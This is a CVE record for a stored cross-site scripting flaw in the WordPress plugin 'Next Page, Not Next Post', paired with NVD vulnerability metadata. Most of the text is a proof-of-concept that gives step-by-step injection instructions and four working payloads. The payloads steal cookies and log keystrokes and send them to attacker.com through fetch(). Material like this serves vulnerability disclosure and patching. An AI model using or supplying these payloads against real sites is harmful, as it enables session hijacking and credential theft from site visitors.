CVE-2025-62943

<!-- WordPress Next Page Not Next Post Plugin XSS PoC --> <!-- Requires WordPress author+ account --> <!-- Step 1: Inject XSS payload in plugin settings --> <!-- Navigate to: WordPress Admin > Pages > Edit Page > Next Page Settings --> <!-- In the 'Next Page URL' or 'Next Page Title' field, insert: --> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Step 2: Alternative payload for blind XSS --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Step 3: Stored XSS payload with cookie hijacking --> <svg/onload=fetch('https://attacker.com/cookie?q='+document.cookie)> <!-- Step 4: JavaScript keylogger payload --> <script>document.addEventListener('keypress',e=>fetch('https://attacker.com/klog?k='+e.key))</script> <!-- When any user views a page with the malicious configuration, the script executes --> <!-- The payload exfiltrates cookies/sensitive data to attacker-controlled server -->

{"cve": {"id": "CVE-2025-62943", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:54.410", "lastModified": "2026-04-27T17:16:36.723", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Matt McInvale Next Page, Not Next Post next-page-not-next-post allows Stored XSS.This issue affects Next Page, Not Next Post: from n/a through <= 0.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/next-page-not-next-post/vulnerability/wordpress-next-page-not-next-post-plugin-0-3-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}